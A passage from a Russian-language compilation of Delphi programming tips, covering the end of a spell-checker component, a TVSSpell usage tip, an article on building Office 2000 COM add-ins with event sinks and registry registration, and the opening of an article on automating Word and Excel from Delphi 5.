  if FActive then
  begin
    WordsChecked := 0;
    WordsFound := 0;
    StringList.Clear;
    Application.ProcessMessages;
    RecursePerm('', LowerCase(InString), length(InString), StringList);
    if FCompletedMessage then
      MessageDlg('Anagram Search Check Complete' + #13#10 +
        IntToStr(WordsChecked) + ' words checked' + #13#10 +
        IntToStr(WordsFound) + ' anagrams found',
        mtInformation, [mbOk], 0);
  end
  else
    MessageDlg('Spell Check not Active', mtError, [mbOk], 0);
end;

// =========================================
// Create default replacement form
// =========================================

procedure TSpellCheck.MakeForm;
begin
  // Correction form container
  FForm := TForm.Create(nil);
  FForm.Position := poScreenCenter;
  FForm.BorderStyle := bsDialog;
  FForm.Height := 260; // 240 if no caption
  FForm.Width := 210;

  // Remove form's caption if desired
  //  SetWindowLong(FForm.Handle,GWL_STYLE,
  //                GetWindowLong(FForm.Handle,GWL_STYLE) AND NOT WS_CAPTION);

  FForm.ClientHeight := FForm.Height;

  // Edit box of offending word
  FEbox := TEdit.Create(FForm);
  FEbox.Parent := FForm;
  FEbox.Top := 8;
  FEbox.Left := 8;
  FEbox.Width := 185;
  FEBox.Font := FFont;
  FEbox.Color := FColor;

  // Suggestion list box
  FLbox := TListBox.Create(FForm);
  FLbox.Parent := FForm;
  FLbox.Top := 32;
  FLbox.Left := 8;
  FLbox.Width := 185;
  FLbox.Height := 193;
  FLbox.Color := FColor;
  FLbox.Font := FFont;
  FLbox.OnClick := SuggestedClick;
  FLbox.OnDblClick := SuggestedClick;

  // Cancel Button
  FCancelBtn := TBitBtn.Create(FForm);
  FCancelBtn.Parent := FForm;
  FCancelBtn.Top := 232;
  FCancelBtn.Left := 8;
  FCancelBtn.Kind := bkCancel;
  FCancelBtn.Caption := 'Ignore';

  // Change Button
  FChangeBtn := TBitBtn.Create(FForm);
  FChangeBtn.Parent := FForm;
  FChangeBtn.Top := 232;
  FChangeBtn.Left := 120;
  FChangeBtn.Kind := bkOk;
  FChangeBtn.Caption := 'Change';
end;

// =============================================
// Close the correction form and free memory
// =============================================

procedure TSpellCheck.CloseForm;
begin
  FChangeBtn.Free;
  FCancelBtn.Free;
  FLbox.Free;
  FEbox.Free;
  FForm.Free;
end;

// ====================================================
// FLbox on click event to populate the edit box
// with selected suggestion (OnClick/OnDblClick)
// ====================================================

procedure TSpellCheck.SuggestedClick(Sender: TObject);
begin
  FEbox.Text := FLbox.Items[FLbox.ItemIndex];
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как использовать проверку грамматики?

{
  If you are using Delphi 2+ and have the ActiveX component TVSSpell, it is very
  simple to add a spell checker to your TMemo applications.
  (Note: Do not use this component with a Rich Edit application because of text
  formatting problems.)
}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Memo1.Text = '' then Exit;

  VSSpell1.CheckText := Memo1.Text;
  if VSSpell1.ResultCode = 0 then
    Memo1.Text := VSSpell1.Text;
end;

{
  To distribute a VisualSpeller application you have to include the following
  files:

}

{
- VsSpell.HLP
- VSPELL32.OCX
- VSPELL32.DLL
- AMERICAN.VTD
- VSPELL.HLP
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Создание модулей расширения Microsoft Office

Анатолий Тенцер

Модель модулей расширения Microsoft Office 2000

В Office 2000 Microsoft ввела единый API для написания подключаемых модулей, расширяющих функциональные возможности пакета. Теперь стало возможно написание модулей, которые интегрируются с любым из приложений пакета. Разработанный набор интерфейсов упрощает создание расширений, позволяя программисту сконцентрироваться на функциональности, а не на изучении особенности каждого из приложений.
Новая модель подключаемых модулей была названа COM Add-Ins. Как следует из названия, модуль расширения (Add-In) представляет собой COM-сервер, который специальным образом зарегистрирован в операционной системе. При загрузке приложение пакета Office загружает зарегистрированные расширения и вызывает их методы, позволяя установить обработчики на необходимые для их дальнейшего функционирования события. По завершении работы приложение Office извещает об этом модули расширения, позволяя последним корректно освобождать ресурсы.
Общение модулей расширения с загрузившим их приложением происходит с помощью объектной модели Microsoft Office.
Использование COM Add-In позволяет в корне изменить подходы к интеграции приложений с Microsoft Office. Например, вместо того чтобы вызывать Word для генерации отчетов, можно, наоборот, встроить в него меню со списком отчетов, а по выбору пользователем нужного отчета — запросить данные из базы данных и сформировать по ним документ.

Интерфейс IDTExtensibility2

Ключевым моментом в написании COM Add-In является реализация им интерфейса IDTExtensibility2, определенного следующим образом:

type
   IDTExtensibility2 = interface(IDispatch)
     ['{B65AD801-ABAF-11D0-BB8B-00A0C90F2744}']
     procedure OnConnection(const HostApp: IDispatch;
       ext_ConnectMode: Integer; const AddInInst: IDispatch;
       var custom: PSafeArray); safecall;
     procedure OnDisconnection(ext_DisconnectMode: Integer;
       var custom: PSafeArray); safecall;
     procedure OnAddInsUpdate(var custom: PSafeArray); safecall;
     procedure OnStartupComplete(var custom: PSafeArray); safecall;
     procedure BeginShutdown(var custom: PSafeArray); safecall;
   end;

После загрузки зарегистрированного в качестве расширения COM-сервера Office запрашивает у него этот интерфейс и, если он реализован, вызывает соответствующие методы, позволяя расширению реализовать свою функциональность.
Рассмотрим методы IDTExtensibility2 подробнее:

procedure OnConnection(
   const HostApp: IDispatch;
   ext_ConnectMode: Integer;
   const AddInInst: IDispatch;
   var custom: PSafeArray
 ); safecall;

Вызывается при загрузке модуля расширения. В этот момент можно произвести требуемую инициализацию, добавить или удалить необходимые интерфейсные элементы, установить обработчики событий и т.п.

Параметры, передаваемые методу:
HostApp Ссылка на интерфейс IDispatch вызывающего приложения. Если модуль расширения планирует в дальнейшем обращаться к его объектной модели, он должен сохранить ссылку в переменной

ext_ConnectMode Константа, информирующая о том, по какой причине производится загрузка: ext_cm_AfterStartup — модуль расширения загружен после загрузки хотя бы одного документа Office ext_cm_External — модуль расширения загружен другим компонентом ext_cm_Startup — модуль расширения загружен до загрузки хотя бы одного документа Office ext_cm_CommandLine — не используется в Office 2000

AddinInst Ссылка на интерфейс IDispatch загружаемого модуля расширения
Custom Здесь и далее — в Microsoft Office не используется

procedure OnDisconnection(ext_DisconnectMode: Integer;
   var custom: PSafeArray); safecall;

Вызывается при выгрузке модуля расширения. Этот метод должен произвести освобождение занятых ресурсов и прочие процедуры по завершении работы COM-сервера.
Параметр ext_DisconnectMode информирует о причине выгрузки COM-сервера и может принимать следующие значения:
ext_dm_HostShutdown – приложение завершает работу;
ext_dm_UserClosed – модуль расширения выгружен пользователем.

procedure OnAddInsUpdate(var custom: PSafeArray); safecall;

Вызывается при изменении списка загруженных модулей расширений. COM-сервер может проанализировать коллекцию расширений приложения и предпринять необходимые действия, требующие взаимодействия с другими модулями расширений.

procedure OnStartupComplete(var custom: PSafeArray); safecall;

Вызывается по завершении инициализации приложения. Те модули расширений, которые должны предоставлять интерфейс пользователя при запуске приложения, должны делать это в методе OnStartupComplete, когда приложение полностью завершило этап инициализации.

procedure BeginShutdown(var custom: PSafeArray); safecall;

Вызывается в начале процесса завершения приложения, позволяя расширениям предпринять в этот момент какие-либо действия.
Внедрение в объектную модель Office
Как было показано в предыдущем разделе, расширению доступен интерфейс IDispatch вызывающего приложения. Таким образом, оно может модифицировать интерфейс этого приложения, добавляя и удаляя необходимые интерфейсные элементы, создавать документы, вызывать различные методы для работы с ними. Однако, как правило, помимо этого необходимо обеспечить реакцию на различные события в вызывающем приложении (такие как изменение документа или нажатие кнопки на панели инструментов). Для этого Add-In должен установить обработчик соответствующего события. Прежде чем перейти к вопросам реализации, совершим небольшой экскурс по событиям COM и их обработчикам.
COM Events

Введение
Если COM-объект хочет получать информацию о событиях в другом COM-объекте, то он должен уведомить об этом объект-источник событий, зарегистрировав себя в списке объектов-получателей уведомлений о событиях. Модель COM предоставляет для этого стандартный механизм.
Объект-источник событий (в нашем случае – приложение Office, документ, кнопка на панели инструментов и т.п.) реализует интерфейс IConnectionPointContainer. Объект, нуждающийся в оповещении о событиях, должен запросить у источника этот интерфейс, затем при помощи метода FindConnectionPoint получить «точку подключения» – интерфейс IConnectionPoint и посредством вызова метода Advise зарегистрировать в этой точке подключения ссылку на свою реализацию интерфейса IDispatch, методы которого будут вызываться при возникновении тех или иных событий в источнике событий.
Различные объекты Office определяют интерфейсы, которым должны соответствовать обработчики их событий. Так, например, для объекта CommandBarButton (кнопка на панели инструментов) определен интерфейс обработчика –

type
     _CommandBarButtonEvents = dispinterface
       ['{000C0351-0000-0000-C000-000000000046}']
       procedure Click(const Ctrl: CommandBarButton;
         var CancelDefault: WordBool); dispid 1;
     end;

Это означает, что при нажатии кнопки будет вызван метод Invoke зарегистрированного интерфейса-обработчика, с параметром DispId, равным 1. При этом параметр pDispIds будет содержать указатель на вариантный массив из двух параметров — соответственно типов CommandBarButton и WordBool.
Базовый класс обработчика COM-событий

Реализуем базовый класс обработчика COM-событий. Реализация взята из модуля SinkObject.pas, написанного Бином Ли (Binh Ly, http://www.techvanguards.com/).
type
     TBaseSink = class(TObject, IUnknown, IDispatch)
     protected
       { методы IUnknown }
       function QueryInterface(const IID: TGUID; out Obj): HResult;
         stdcall;
       function _AddRef: Integer; stdcall;
       function _Release: Integer; stdcall;
       { методы IDispatch }
       function GetIDsOfNames(const IID: TGUID; Names: Pointer;
         NameCount, LocaleID: Integer; DispIDs: Pointer):    HResult;
         virtual; stdcall;
       function GetTypeInfo(Index, LocaleID: Integer;
         out TypeInfo): HResult; virtual; stdcall;
       function GetTypeInfoCount(out Count: Integer): HResult;
         virtual; stdcall;
       function Invoke(DispID: Integer; const IID: TGUID;
         LocaleID: Integer; Flags: Word; var Params;
         VarResult, ExcepInfo, ArgErr: Pointer): HResult;
         virtual; stdcall;
  private
     FCookie: Integer;
     FCP: IConnectionPoint;
     FSinkIID: TGuid;
     FSource: IUnknown;
     function DoInvoke(DispID: Integer; const IID: TGUID;
       LocaleID: Integer;  Flags: Word; var dps: TDispParams;
       pDispIds: PDispIdList;  VarResult, ExcepInfo,
       ArgErr: Pointer): HResult; virtual; abstract;
  public
     destructor Destroy; override;
     procedure Connect(pSource : IUnknown);
     procedure Disconnect;
     property SinkIID: TGuid read FSinkIID;
     property Source: IUnknown read FSource;
   end;

Рассмотрим реализацию ключевых методов этого класса. Метод QueryInterface в дополнение к стандартной реализации проверяет, нет ли попыток запросить интерфейс обработчика событий. В этом случае возвращается IDispatch, позволяющий объекту-источнику событий вызвать метод Invoke:

function TBaseSink.QueryInterface(const IID: TGUID;
     out Obj): HResult;
   begin
     Result := E_NOINTERFACE;
     Pointer(Obj) := NIL;
     if GetInterface(IID, Obj) then
       Result := S_OK;
     // если запрашивается интерфейс SinkIID -
     // возвращаем свой IDispatch
     if not Succeeded(Result) then
       if IsEqualIID(IID, FSinkIID) then
         if GetInterface(IDispatch, Obj) then
           Result := S_OK;
   end;

Метод Connect регистрирует COM-объект в качестве обработчика событий COM-объекта pSource. Обращаю внимание, что переменная FCP объявлена как поле класса, поскольку он должен удерживать счетчик ссылок на «точку подключения», пока она используется. Если объявить FCP как локальную переменную — по завершении метода Connect произойдет неявный вызов FCP._Release, что приведет к неправильной работе.

procedure TBaseSink.Connect(pSource: IUnknown);
   var
     pcpc: IConnectionPointContainer;
   begin
     Disconnect;
     try
       // Запрашиваем интерфейс IConnectionPointContainer у объекта-
       // источника событий
       OleCheck(pSource.QueryInterface(IConnectionPointContainer,
         pcpc));
       // Запрашиваем интерфейс IConnectionPoint.
       OleCheck(pcpc.FindConnectionPoint(FSinkIID, FCP));
       // Подключаемся к обработчику событий
       OleCheck(FCP.Advise(Self, FCookie));
       // Все прошло успешно - устанавливаем свойство Source
       FSource := pSource;
     except
       raise Exception.Create(Format('Unable to connect %s.'#13'%s',
         [ClassName, Exception(ExceptObject).Message]));
     end;
   end;

Метод Disconnect отключает обработчик событий от объекта-источника.

procedure TBaseSink.Disconnect;
   begin
     if FSource = NIL then
       Exit;
     try
       OleCheck(FCP.Unadvise(FCookie));
       FCP := NIL;
       FSource := NIL;
     except
       Pointer(FCP) := NIL;
       Pointer(FSource) := NIL;
     end;
   end;

Метод Invoke вызывается при возникновении события в объекте-источнике. Он осуществляет предварительную обработку параметров и вызывает абстрактный метод DoInvoke, который должен быть перекрыт в наследниках, реализующих конкретные интерфейсы обработчиков событий. Реализация такого наследника будет рассмотрена ниже.
Обработчик событий от CommandBarButton
Наследуя функциональность от базового класса TBaseSink, обработчики событий конкретных COM-объектов реализуются перекрытием методов Create и DoInvoke. Создадим такой обработчик для кнопки на панели инструментов Office. Он должен реализовать интерфейс _CommandBarButtonEvents –

type
     _CommandBarButtonEvents = dispinterface
       ['{000C0351-0000-0000-C000-000000000046}']
       procedure Click(const Ctrl: CommandBarButton;
         var CancelDefault: WordBool); dispid 1;
     end;

Объявим класс:

type
   // Обработчик события нажатия на кнопку
   TOnCommandButtonClick = procedure (Button: CommandBarButton;
      var CancelDefault: WordBool) of object;
  TCommandButtonEventSink = class(TBaseSink)
   private
     FOnClick: TOnCommandButtonClick;
   protected
     procedure DoClick(Button: CommandBarButton;
       var CancelDefault: WordBool); virtual;
     function DoInvoke (DispID: Integer; const IID: TGUID;
       LocaleID: Integer; Flags: Word; var dps : TDispParams;
       pDispIds : PDispIdList; VarResult, ExcepInfo,
       ArgErr: Pointer): HResult; override;
   public
     constructor Create; virtual;
     property OnClick: TOnCommandButtonClick
       read FOnClick write FOnClick;
   end;

В конструкторе установим идентификатор интерфейса обработчика событий, который мы реализуем.

   constructor TCommandButtonEventSink.Create;
   begin
     inherited;
     FSinkIID := _CommandBarButtonEvents;
   end;

Метод DoClick просто вызывает назначенный классу обработчик события и нужен для более удобной работы с ним из Delphi.

procedure TCommandButtonEventSink.DoClick(Button: CommandBarButton;
     var CancelDefault: WordBool);
   begin
     if Assigned(FOnClick) then
       FOnClick(Button, CancelDefault);
   end;

Ключевым методом является DoInvoke, который для каждого DispId, объявленного в интерфейсе _CommandBarButtonEvents, должен выполнить соответствующие действия.

function TCommandButtonEventSink.DoInvoke(DispID: Integer;
     const IID: TGUID; LocaleID: Integer; Flags: Word;
     var dps: TDispParams; pDispIds: PDispIdList;
     VarResult, ExcepInfo, ArgErr: Pointer): HResult;
   begin
     Result := S_OK;
     case DispID of
       // Для этого DispId передаются 2 параметра – CommandBarButton
       // и WordBool
       1 : DoClick(IUnknown(dps.rgvarg^[pDispIds^[0]].unkval)
             as CommandBarButton,    dps.rgvarg^[pDispIds^[1]].pbool^);
     else
       Result := DISP_E_MEMBERNOTFOUND;
     end;
   end;

Как видим, реализация конкретного обработчика является практически механической задачей и не должна вызвать проблем. Если в интерфейсе предусмотрено несколько методов, то следует подставить в оператор case все их DispId. От программиста требуется лишь аккуратность при отображении массива dps на параметры соответствующих обработчиков.

Регистрация модулей

COM Add-In — это COM-сервер, который должен быть зарегистрирован в системе, например, при помощи TRegSvr.exe или RegSvr32.exe. Однако требуется еще один шаг — регистрация его в Microsoft Office. Для этого необходимо создать в реестре раздел с именем.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Имя приложения>\AddIns\<Имя>
Здесь:
<Имя приложения> — название приложения, к которому подключается Add-In
<Имя> — имя, под которым зарегистрирован COM-сервер (название_проекта.имя_класса)
В этом разделе необходимо создать два параметра:
FriendlyName Строковый параметр, определяющий имя, под которым наше расширение будет видно в менеджере расширений приложений Microsoft Office
LoadBehavior Параметр типа DWORD, определяющий, когда должен загружаться Add-In
Параметр LoadBehavior может принимать одно из следующих значений:
3 Add-In загружается при старте приложения
9 Add-In загружается по требованию (когда его свойство Connected в колекции AddIns приложения будет установлено в TRUE)
16 Add-In загружается один раз при следующем запуске приложения
Пишем COM Add-In
Библиотеки типов Office 2000
Для работы с объектной моделью Microsoft Office 2000 нам понадобятся библиотеки типов, описывающие доступные интерфейсы. Поскольку Delphi 5 поставляется с библиотеками типов от Office 97, необходимо импортировать нужные модули. В любом случае понадобится библиотека Office_TLB, остальные (Word_TLB, Excel_TLB и т.п.) могут потребоваться в зависимости от того, к какому приложению будет писаться модуль расширения.

Для импорта воспользуемся меню Import TypeLibrary.
После создания модулей с описаниями интерфейсов рекомендую вручную удалить из них ссылки на модули Graphics и OleCtrls, которые приводят к подключению к проекту модуля Forms, а при компиляции не нужны.

Создаем COM-сервер

Поскольку COM Add-In является COM-сервером, воспользуемся мастерами Delphi для его создания. Выберем команду New... -> ActiveX -> ActiveX Library.

Затем добавим в созданную библиотеку Automation Object при помощи мастера New... -> ActiveX -> Automation Object.

В поле CoClassName введем имя реализуемого интерфейса (DTExtensibility2). В принципе, можно ввести любое имя, требуется только, чтобы этот интерфейс имел тот же GUID, что и IDTExtensibility, и аналогичный набор методов.
После того как Delphi создаст новый объект автоматизации, запустим редактор библиотеки типов. Вначале мы имеем описание интерфейса без методов и со сгенерированным Delphi значением GUID.

Перейдем на вкладку Text созданного интерфейса и введем там следующий текст:

[
   uuid(B65AD801-ABAF-11D0-BB8B-00A0C90F2744),
   version(1.0),
   helpstring("Dispatch interface for Office2000ComAddIn Object"),
   dual,
   oleautomation
 ]
interface IDTExtensibility2: IDispatch
 {
   [id(0x00000001)]
   HRESULT _stdcall OnConnection(
     [in] IDispatch * HostApp,
     [in] long ext_ConnectMode,
     [in] IDispatch * AddInInst,
     [in] SAFEARRAY(VARIANT) * custom );
   [id(0x00000002)]
   HRESULT _stdcall OnDisconnection([in] long ext_DisconnectMode,
     [in] SAFEARRAY(VARIANT) * custom );
   [id(0x00000003)]
   HRESULT _stdcall OnAddInsUpdate(
     [in] SAFEARRAY(VARIANT) * custom );
   [id(0x00000004)]
   HRESULT _stdcall OnStartupComplete(
     [in] SAFEARRAY(VARIANT) * custom );
   [id(0x00000005)]
   HRESULT _stdcall BeginShutdown(
     [in] SAFEARRAY(VARIANT) * custom );
 };

Если вы назвали свой класс не DTExtensibility2, а как-то иначе — скорректируйте название интерфейса. Все остальное, включая uuid, должно быть введено точно так, как это было описано выше.
Если все введено правильно — в окне Type Library Editor вы должны увидеть пять методов созданного интерфейса.

Нажмите кнопку «Обновить» и закройте редактор библиотеки типов — больше он нам не понадобится. Теперь откомпилируйте полученный проект и зарегистрируйте его в Windows при помощи меню Run->Register COM Server.
При помощи редактора реестра создайте в реестре Windows запись для регистрации Add-In с приложением Microsoft Office. COM Add-In готов!

Отладка модулей расширения

Для работы с модулями расширения необходимо добавить в меню Microsoft Office команду для вызова диспетчера дополнений. Для этого (на примере Word):
· В меню Сервис выберите команду Настройка, а затем — вкладку Команды.
· В списке Категории выберите категорию Сервис.
· Перетащите команду Надстройки для модели COM... из списка Команды в меню Сервис. Когда в меню Сервис раскроется список команд, укажите, где в этом меню должна располагаться команда Надстройки для модели COM..., после чего отпустите кнопку мыши.
· Нажмите кнопку «Закрыть».
При помощи этой команды вызывается окно диспетчера дополнений. Загруженные дополнения помечены в списке галочкой. Чтобы загрузить надстройку — отметьте ее и нажмите OK, чтобы выгрузить — снимите отметку.
!Если во время загрузки Add-In произошла ошибка — Office не будет загружать его при следующем запуске приложения автоматически. Чтобы надстройка снова начала загружаться — загрузите ее через диспетчер.
Для отладки Com Add-Ins установите в качестве Host Application (меню Run - > Parameters) приложение Office, к которому подключена надстройка, например WinWord.exe. После этого установите точку прерывания в одном из методов своего объекта и запустите приложение. Загрузится Word, и при попадании на точку прерывания вы окажетесь в отладчике Delphi.
Реализуем функциональность

В настоящий момент наш Add In умеет только загружаться, но не может сделать ничего полезного. Для примера реализации функциональности добавим на панель инструментов Office кнопку, по нажатии которой в текущую позицию курсора будет вставляться список файлов выбранной папки.
Для этого дополним наш объект автоматизации несколькими полями и методами.

type
     TDirectoryList = class(TAutoObject, IDTExtensibility2)
     private
       Host: WordApplication;
       FButtonEventsSink: TCommandButtonEventSink;
       procedure ButtonClick(Button: CommandBarButton;
         var CancelDefault: WordBool);
     protected
       // Реализация IDTExtensibility2
       procedure BeginShutdown(var custom: PSafeArray); safecall;
       procedure OnAddInsUpdate(var custom: PSafeArray); safecall;
       procedure OnConnection(const HostApp: IDispatch;
         ext_ConnectMode: Integer; const AddInInst: IDispatch;
         var custom: PSafeArray); safecall;
       procedure OnDisconnection(ext_DisconnectMode: Integer;
         var custom: PSafeArray); safecall;
       procedure OnStartupComplete(var custom: PSafeArray); safecall;
     end;

Поле Host будет хранить ссылку на интерфейс WordApplication, необходимый для работы с объектной моделью Word, поле FButtonEventsSink — ссылку на объект-обработчик событий от кнопки, реализация которого была рассмотрена в разделе «Обработчик событий от CommandBarButton», а метод ButtonClick будет вызываться для обработки нажатия на кнопку.
Реализуем необходимую функциональность в методах класса TDirectoryList.

const
     // Уникальный идентификатор кнопки. Можно задать любую уникальную
     // строку. Для ее генерации удобно воспользоваться средствами
     // Delphi по генерации GUID (Ctrl+Shift+G)
     // Этот идентификатор понадобится нам для того, чтобы после
     // создания кнопки иметь возможность ее найти.
     BUTTON_TAG = '{1A1552DC-9286-11D3-BCA0-00902759A497}';

procedure TDirectoryList.OnConnection(const HostApp: IDispatch;
   ext_ConnectMode: Integer; const AddInInst: IDispatch;
   var custom: PSafeArray);
 var
   Bar: CommandBar;
   Button: CommandBarButton;
 begin
   // Сохраняем ссылку на WordApplication для
   // последующей работы с ней
   Host := HostApp as WordApplication;
   // Создаем обработчик событий для кнопки
   FButtonEventsSink := TCommandButtonEventSink.Create;
   FButtonEventsSink.OnClick := ButtonClick;
   // Получаем интерфейс панели инструментов "Форматирование"
   Bar := Host.CommandBars.Get_Item('Formatting');
   // Проверяем наличие на ней нашей кнопки
   Button := Bar.FindControl(msoControlButton, EmptyParam, BUTTON_TAG,
     EmptyParam, msoFalse) as CommandBarButton;;
   if not Assigned(Button) then
     // Если ее нет – создаем
     Button := Bar.Controls.Add(msoControlButton, EmptyParam,
       BUTTON_TAG, 1, EmptyParam) as CommandBarButton;
   // Подключаем обработчик и устанавливаем свойства кнопки
   FButtonEventsSink.Connect(Button);
   Button.Set_Style(msoButtonCaption);
   Button.Set_Tag(BUTTON_TAG);
   Button.Set_Caption('Dir');
 end;

procedure TDirectoryList.OnDisconnection(ext_DisconnectMode: Integer;
   var custom: PSafeArray);
 var
   Bar: CommandBar;
   B: CommandBarControl;
 begin
   // Уничтожаем обработчик событий кнопки
   FreeAndNil(FButtonEventsSink);
   // Ищем свою кнопку
   Bar := Host.CommandBars.Get_Item('Formatting');
   B := Bar.FindControl(msoControlButton, EmptyParam, BUTTON_TAG,
     EmptyParam, msoFalse) as CommandBarButton;
   // И удаляем ее
   if Assigned(B) then
     B.Delete(msoFalse);
 end;

procedure TDirectoryList.ButtonClick(Button: CommandBarButton;
   var CancelDefault: WordBool);
 var
   S: String;
   SR: TSearchRec;
   D: WordDocument;
   FindStatus: Integer;
 begin
   // Эта процедура вызывается при нажатии на созданную нами кнопку
   D := Host.ActiveDocument;
   // Проверяем наличие активного документа
   if Assigned(D) then begin
     // Функция BrowseForFolder возвращает путь к выбранной
     // в диалоге папке. Код функции приведен в модуле с примером
     // на сопровождающем диске. От использования аналогичной
     // функции VCL SelectDirectory пришлось отказаться, так как
     // модуль, в котором она находится, использует Forms
     if BrowseForFolder(S) then begin
       with TStringList.Create do
       try
         // Получаем список файлов
         FindStatus := FindFirst(S + '\*.*', 0, SR);
         while FindStatus = 0 do begin
           Add(SR.Name);
           FindStatus := FindNext(SR);
         end;
         FindClose(SR);
         // И вставляем его в документ
         D.ActiveWindow.Selection.InsertAfter(S+#13#13+Text);
       finally
         // Освобождаем TStringList
         Free;
       end;
     end;
   end;
 end;

Пример работы этой надстройки изображен на рисунке.
Написание надстроек, работающих с несколькими приложениями Office
Поскольку все приложения Office реализуют одну и ту же модель COM Add-Ins, одно и то же расширение может быть зарегистрировано одновременно для нескольких приложений. В этом случае оно должно определять, из какого приложения оно загружено, и использовать соответствующую объектную модель. Определить приложение-владельца можно, запросив у него соответствующий интерфейс:

procedure TDirectoryList.OnConnection(const HostApp: IDispatch;
   ext_ConnectMode: Integer; const AddInInst: IDispatch;
   var custom: PSafeArray);
 begin
   if HostApp is WordApplication then
   // Это Microsoft Word

Также возможно сохранение HostApp в переменной типа Variant и использование позднего связывания. В этом случае надстройка будет работать с любым приложением Office, имеющим подходящие по именам методы.


Доступ к COM серверам Microsoft Office из Delphi 5 (Статья)

Доступ к COM серверам Microsoft Office из Delphi 5

(С) И. Мирончик,
независимый разработчик и
преподаватель курсов
по Delphi, C++Builder, Oracle.
E-maile EKSKHQ@Elsite.ru
Эта статья была опубликована на сайте http://www.borland.ru/

Введение
В статье рассматривается вопрос доступа к общеизвестным приложениям Microsoft Office, таким как Word, Excel, Outlook и другим, через новый набор компонент, представленных в Delphi 5. Для начала работы нам предстоит установить на компьютере приложения Microsoft Office 97 – Excel, Word, Outlook, PowerPoint. Если считаете необходимым, то можно добавить и Access (но с ним у меня особые счеты). Ну и конечно устанавливается новый продукт Delphi 5. Кроме множества изменений в нем имеется одно, для нас сейчас необходимое – новая закладка на палитре инструментов – Servers.Через эти компоненты мы будем получать доступ к COM серверам приложений Office, использующих автоматизацию (прежде известную как OLE Automation).
Мы рассмотрим несколько примеров построения контроллеров автоматизации для создания отчетов в MS Word, производство расчетов и построение диаграмм в MS Excel, а так же формирование рассылки писем адресатам через MS Outlook.

Приложения и объекты MS Office. Обзор
Office – это среда, в которой большинство задач можно решать без какого-либо программирования. Но вся ценность приложений Office для разработчика заключается в том, что все, что можно сделать руками, можно сделать программным путем с использованием средств VBA (Visual Basic for Application). Кроме того, приложения Office поставляют сервера COM, которые предоставляют интерфейс доступа к приложению и его объектам. Благодаря этому, разработчик в среде Delphi имеет возможность, создав контроллер автоматизации, управлять сервером. Так как устроено приложение в Office? На самом деле приложение рассматривается как совокупность объектов со своими методами, свойствами, событиями, которые обеспечивают скелет приложения. Программист Office является не создателем приложения, как, например это делается в Delphi, а он принимает участие в создании системы документов. Таким образом, ДОКУМЕНТ, а не программа являются целью разработки.
Наследование – мощный инструмент построения нового класса, однако программистам известен еще один способ получения класса – встраивание. Как и наследование, встраивание транзитивное отношение. В объектной модели Office нет наследования в полном смысле этого слова, а есть только встраивание.
Всегда существует задающий приложение корневой объект, он всегда называется Application. Каждое приложение Office имеет свой собственный корневой объект – Word.Application, Excel.Application. Outlook приложение само является корневым объектом, несмотря на это в объект Application встраиваются все остальные объекты (участники), которые являются свойствами главного объекта. Участником могут быть свои участники и так далее. В документе методов очень много, причем самых разных, но имеются и одинаковые методы в различных приложениях Office. Среди таковых – Run, Quit, Activate; но даже и они в разных приложениях имеют различный набор параметров, а зачастую

выполняют не адекватные действия. Такое многообразие различных реализаций классов отпугивало программистов контроллеров автоматизации. Однако, используя компоненты доступа к серверам автоматизации – положение резко улучшилось. На следующем рисунке показан очень маленький фрагмент структуры объекта Microsoft Word Objects. Более полное представление об объектной архитектуре приложений Office можно найти в соответствующих файлах помощи.
Как только открывается новый документ, будь то PowerPoint, Excel, Word, автоматически создается каркас нового документа, который представляет собой набор библиотек с классами. Объекты этих классов будут доступны в данном документе. Задачей разработчика контроллера автоматизации является получить доступ к корневому объекту сервера, выстроить цепочку доступа к объектам – участникам (встроенным объектам), правильно передать параметры.

Объекты Application и организация доступа к ним из Delphi.
Я, наверное, утомил читателя устройством приложений Office. Но все-таки необходимо еще раз отметить, что всех объектов этого семейства не перечесть, но главные необходимо знать и уметь ими пользоваться. Фундаментальным объектом любого приложения является Application. Давайте получим к нему доступ из Delphi.
· Создаем новый проект
· На главную форму выкладываем компоненту с закладки Servers, которая называется WordApplication
· Устанавливаем свойства компоненты AutoConnect и AutoQuit в True
· Запускаем приложение на выполнение.

Казалось бы, ничего не произошло, запустилась форма и отобразилась на экране, на самом деле наше приложение запустило сервер автоматизации Microsoft Word, этот факт можно обнаружить, запустив на выполнение Task Manager и выбрав закладку Processes. Среди прочих процессов мы обнаруживаем WINWORD.EXE. На самом деле была приложением проделана следующая работа:
1. При создании формы, в системном реестре, по идентификатору CLSID был найден сервер Word.Application
2. Запущено на выполнение приложение, находящееся по адресу в реестре (ProgID)
3. Сервер предоставил нашему приложению, которое и является контроллером автоматизации интерфейс, через который мы и получим доступ к объекту Application.
4. Интерфейс Idispatch унаследован от Iunknown, который в свою очередь имеет три метода, один из которых _ADDRef умеет считать количество клиентов, в настоящий момент использующих сервер. Как только от сервера отсоединиться последний клиент, он автоматически будет выгружен из памяти компьютера.
Закройте наше приложение и загляните в Task Manager - Word выгрузился из памяти.
Точно такой же результат можно было бы получить, прописав следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
 wd:OleVariant;
 fileName:string;
begin
try
  fileName:=ExtractFilePath(Application.EXEName)+'report.DOC';
//Создаем объект интерфейса для доступа к серверу COM
  wd:=CreateOleObject('Word.Application');
//Проверка наличия методов и правильность передачи параметров будет
//осуществляться на стадии выполнения приложения
  wd.application.documents.add;
  wd.application.activedocument.range.insertAfter(now);
  wd.application.activedocument.saveas(fileName);
//выгрузаем сервер из памяти компьютера
  wd.application.quit(true,0);
….

Не забудьте добавить в раздел uses модуль COMOBJ.

Базовый класс TOLEServer
На закладке Service находится набор компонент для доступа к серверам автоматизации, не все компоненты возвращают ссылку на объект Application, то есть могут быть получены интерфейсы для доступа к вложенным объектам, таким как Документ Word или рабочая книга Excel. Все компоненты унаследованы от класса TOLEServer, который наследует свойства класса Tcomponent. TOLEServer является базовым классом всех COM серверов, которые можно получить через среду IDE следующим образом: Project | Import Type Library. Кроме этого этот класс имеет еще несколько свойств и методов для управления связью с COM сервером. Среди таковых уже знакомое нам свойство AutoConnect, которое автоматически запускает COM сервер и производит извлечение из него интерфейса, обеспечивающего связь с контроллером. Еще одно важное свойство класса TOLEServer – ConnectKind – указывающее тип процесса, к которому устанавливается связь. Свойство используется методом Connect, который вызывается автоматически, если свойство AutoConnect истинно. Ниже описаны значения, которые может принимать ConnectKind:
Значение свойства ConnectKind Характеристика
